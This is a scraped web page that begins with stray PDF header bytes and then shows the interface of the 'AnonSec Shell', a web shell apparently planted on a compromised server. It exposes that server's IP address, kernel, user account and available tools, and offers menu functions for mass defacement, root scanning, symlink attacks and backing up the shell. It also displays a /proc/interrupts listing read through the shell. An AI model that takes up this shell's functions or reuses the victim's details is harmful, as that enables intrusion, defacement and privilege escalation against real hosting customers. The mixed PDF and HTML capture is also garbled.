%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:         13          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0         15          0          0   IO-APIC   1-edge      i8042
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:         30          0          0          0         16          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 16:        194        226         59       6384       1121       4836       3428      10791   IO-APIC  16-fasteoi   vmwgfx
 17:    1724958    2465351    2306707    3421995    2050331    3544757    3658049    4801430   IO-APIC  17-fasteoi   ioc0
 24:          0          0          0          0          0          0          0          0   PCI-MSI 344064-edge      PCIe PME, pciehp
 25:          0          0          0          0          0          0          0          0   PCI-MSI 346112-edge      PCIe PME, pciehp
 26:          0          0          0          0          0          0          0          0   PCI-MSI 348160-edge      PCIe PME, pciehp
 27:          0          0          0          0          0          0          0          0   PCI-MSI 350208-edge      PCIe PME, pciehp
 28:          0          0          0          0          0          0          0          0   PCI-MSI 352256-edge      PCIe PME, pciehp
 29:          0          0          0          0          0          0          0          0   PCI-MSI 354304-edge      PCIe PME, pciehp
 30:          0          0          0          0          0          0          0          0   PCI-MSI 356352-edge      PCIe PME, pciehp
 31:          0          0          0          0          0          0          0          0   PCI-MSI 358400-edge      PCIe PME, pciehp
 32:          0          0          0          0          0          0          0          0   PCI-MSI 360448-edge      PCIe PME, pciehp
 33:          0          0          0          0          0          0          0          0   PCI-MSI 362496-edge      PCIe PME, pciehp
 34:          0          0          0          0          0          0          0          0   PCI-MSI 364544-edge      PCIe PME, pciehp
 35:          0          0          0          0          0          0          0          0   PCI-MSI 366592-edge      PCIe PME, pciehp
 36:          0          0          0          0          0          0          0          0   PCI-MSI 368640-edge      PCIe PME, pciehp
 37:          0          0          0          0          0          0          0          0   PCI-MSI 370688-edge      PCIe PME, pciehp
 38:          0          0          0          0          0          0          0          0   PCI-MSI 372736-edge      PCIe PME, pciehp
 39:          0          0          0          0          0          0          0          0   PCI-MSI 374784-edge      PCIe PME, pciehp
 40:          0          0          0          0          0          0          0          0   PCI-MSI 376832-edge      PCIe PME, pciehp
 41:          0          0          0          0          0          0          0          0   PCI-MSI 378880-edge      PCIe PME, pciehp
 42:          0          0          0          0          0          0          0          0   PCI-MSI 380928-edge      PCIe PME, pciehp
 43:          0          0          0          0          0          0          0          0   PCI-MSI 382976-edge      PCIe PME, pciehp
 44:          0          0          0          0          0          0          0          0   PCI-MSI 385024-edge      PCIe PME, pciehp
 45:          0          0          0          0          0          0          0          0   PCI-MSI 387072-edge      PCIe PME, pciehp
 46:          0          0          0          0          0          0          0          0   PCI-MSI 389120-edge      PCIe PME, pciehp
 47:          0          0          0          0          0          0          0          0   PCI-MSI 391168-edge      PCIe PME, pciehp
 48:          0          0          0          0          0          0          0          0   PCI-MSI 393216-edge      PCIe PME, pciehp
 49:          0          0          0          0          0          0          0          0   PCI-MSI 395264-edge      PCIe PME, pciehp
 50:          0          0          0          0          0          0          0          0   PCI-MSI 397312-edge      PCIe PME, pciehp
 51:          0          0          0          0          0          0          0          0   PCI-MSI 399360-edge      PCIe PME, pciehp
 52:          0          0          0          0          0          0          0          0   PCI-MSI 401408-edge      PCIe PME, pciehp
 53:          0          0          0          0          0          0          0          0   PCI-MSI 403456-edge      PCIe PME, pciehp
 54:          0          0          0          0          0          0          0          0   PCI-MSI 405504-edge      PCIe PME, pciehp
 55:          0          0          0          0          0          0          0          0   PCI-MSI 407552-edge      PCIe PME, pciehp
 56:          0          0  124627244   15377804  100369942   11772431       1971   12219593   PCI-MSI 1572864-edge      ens160-rxtx-0
 57:    2471351    3265631     910968    4764776     676278    5575388    3102039    5707532   PCI-MSI 1572865-edge      ens160-rxtx-1
 58:    2634895    7867966     934981    2359233    2085804    4075655    2831320    4278797   PCI-MSI 1572866-edge      ens160-rxtx-2
 59:    4124930    2809216    3451475    4367902     916498    3944782    2229095    3901737   PCI-MSI 1572867-edge      ens160-rxtx-3
 60:    3263325    1888712    3002693    4214432    2185582    4223275    3972757    3697522   PCI-MSI 1572868-edge      ens160-rxtx-4
 61:    2572227    2958789     334751    2639631    3374032    5274646    3687447    5055871   PCI-MSI 1572869-edge      ens160-rxtx-5
 62:          0    2638597     203854    4041946    3950291    5410952    3638076    6505903   PCI-MSI 1572870-edge      ens160-rxtx-6
 63:    9626668    2507032    3048545    1869368    2170986    2048523    4456096    2324188   PCI-MSI 1572871-edge      ens160-rxtx-7
 64:          0          0          0          0          0          0          0          0   PCI-MSI 1572872-edge      ens160-event-8
 65:       3390      41697       8425     368923      40814     154480     147180     502078   PCI-MSI 1048576-edge      ahci[0000:02:00.0]
 66:          0          0         35          0          0          0     392817          0   PCI-MSI 129024-edge      vmw_vmci
 67:          0          0          0          0          0          0          0          0   PCI-MSI 129025-edge      vmw_vmci
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  137377029  315112202  207961878  168442546  154657165  153462867  235842071  149018393   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          1          2          0          2          0          1          1          2   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    2671428    1952960    2388661    2570454    2620437    2551968    2314448    2551362   Rescheduling interrupts
CAL:  100146215  117923048  115315565  110709557  105897484  106045533  108092801  102648109   Function call interrupts
TLB:    1159138    1448393    1408514    1326960    1237434    1191135    1251179    1210179   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       8150       8151       8151       8151       8151       8151       8151       8151   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team